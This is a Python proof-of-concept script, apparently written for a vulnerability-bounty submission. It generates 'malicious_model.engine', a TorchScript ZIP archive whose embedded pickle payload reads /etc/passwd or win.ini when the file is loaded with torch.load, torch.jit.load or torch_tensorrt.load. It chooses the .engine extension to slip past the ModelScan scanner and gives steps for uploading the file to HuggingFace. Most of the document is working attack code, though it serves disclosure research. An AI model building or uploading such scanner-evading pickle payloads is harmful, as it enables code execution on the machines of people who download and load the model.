|
|
| """
|
| Creates the PoC model file: malicious_model.engine
|
|
|
| This is the file you upload to HuggingFace.
|
|
|
| What it does:
|
| A file named malicious_model.engine that is a valid TorchScript ZIP
|
| archive (the format torch_tensorrt uses to save compiled TRT engines).
|
| Internally it contains a malicious pickle payload in archive/data.pkl.
|
|
|
| When loaded with any of the standard TensorRT Python loading paths:
|
| torch.load("malicious_model.engine")
|
| torch.jit.load("malicious_model.engine")
|
| torch_tensorrt.load("malicious_model.engine")
|
|
|
| ...the pickle executes and reads sensitive files at load time.
|
|
|
| Why it evades ModelScan:
|
| ModelScan's supported extensions (from settings.py):
|
| .pb .h5 .keras .npy .bin .pt .pth .ckpt .pkl .pickle .joblib .dill .dat .data
|
|
|
| .engine and .trt are completely absent.
|
| ModelScan returns "SCAN_NOT_SUPPORTED" β the file is never inspected.
|
|
|
| This is a DUAL vulnerability:
|
| 1. Scanner gap: .engine / .trt are not scanned at all by ModelScan.
|
| 2. Format vector: TorchScript ZIP format used by torch_tensorrt embeds
|
| pickle streams (archive/data.pkl) in .engine files β
|
| the same ACE surface as .pt files, with a different
|
| extension that bypasses the scanner entirely.
|
|
|
| Upload to HuggingFace:
|
| 1. Run this script -> produces malicious_model.engine
|
| 2. Push to HF repo
|
| 3. Paste the URL in the submission form
|
| """
|
| import pickle
|
| import io
|
| import os
|
| import sys
|
| import struct
|
| import zipfile
|
|
|
|
|
|
|
|
|
|
|
| class EvadingPayload:
|
| """
|
| Reads C:\\Windows\\win.ini (Windows) or /etc/passwd (Linux) at load time.
|
| Packaged as a TorchScript-compatible pickle stream inside a .engine ZIP.
|
| """
|
| def __reduce__(self):
|
| target = "C:\\Windows\\win.ini" if sys.platform == "win32" else "/etc/passwd"
|
| return (io.FileIO, (target,))
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| def build_torchscript_engine_zip(payload_obj) -> bytes:
|
| buf = io.BytesIO()
|
| with zipfile.ZipFile(buf, "w", compression=zipfile.ZIP_STORED) as zf:
|
|
|
| payload_bytes = pickle.dumps(payload_obj, protocol=4)
|
| zf.writestr("archive/data.pkl", payload_bytes)
|
|
|
|
|
| zf.writestr("archive/version", b"3")
|
|
|
|
|
| zf.writestr("archive/constants.pkl", pickle.dumps((), protocol=2))
|
|
|
| return buf.getvalue()
|
|
|
|
|
|
|
| output_file = "malicious_model.engine"
|
| engine_bytes = build_torchscript_engine_zip(EvadingPayload())
|
|
|
| with open(output_file, "wb") as f:
|
| f.write(engine_bytes)
|
|
|
| print(f"[+] Created: {output_file!r} ({os.path.getsize(output_file)} bytes)")
|
| print(f"[+] Internal ZIP layout: archive/data.pkl (TorchScript format)")
|
| print()
|
| print("Verify ZIP structure:")
|
| with zipfile.ZipFile(output_file, "r") as z:
|
| for name in z.namelist():
|
| info = z.getinfo(name)
|
| print(f" {name} ({info.file_size} bytes)")
|
|
|
| print()
|
| print("To reproduce:")
|
| print(" python reproduce.py")
|
|
|